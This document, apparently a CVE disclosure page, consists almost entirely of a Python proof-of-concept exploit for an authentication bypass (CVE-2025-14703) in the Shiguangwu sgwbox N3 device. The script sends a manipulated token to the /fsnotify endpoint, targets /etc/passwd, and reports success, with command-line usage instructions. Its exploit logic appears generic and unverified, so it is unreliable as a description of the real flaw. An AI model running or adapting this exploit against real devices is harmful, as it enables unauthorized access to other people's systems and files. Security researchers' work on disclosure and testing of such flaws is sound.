CVE-2025-14703 Shiguangwu sgwbox N3 认证绕过漏洞

import requests import sys def exploit_cve_2025_14703(target_url, malicious_token): """ PoC for CVE-2025-14703: Shiguangwu sgwbox N3 Authentication Bypass Vulnerability: Improper authentication in /fsnotify endpoint Affected: Shiguangwu sgwbox N3 2.0.25 CVSS: 5.3 (Medium) Usage: python poc.py <target_url> <token> Example: python poc.py http://192.168.1.100:8080 'malicious_token' """ endpoint = f"{target_url}/fsnotify" headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Malicious payload with manipulated token payload = { 'token': malicious_token, 'action': 'notify', 'data': { 'path': '/etc/passwd', 'event': 'access' } } try: print(f"[*] Sending request to {endpoint}") print(f"[*] Using manipulated token: {malicious_token}") response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") # Check if authentication was bypassed if response.status_code == 200 and 'error' not in response.text.lower(): print("[!] Authentication bypass successful - vulnerability confirmed") return True else: print("[-] Request failed or authentication not bypassed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python poc.py <target_url> <token>") sys.exit(1) target = sys.argv[1] token = sys.argv[2] exploit_cve_2025_14703(target, token)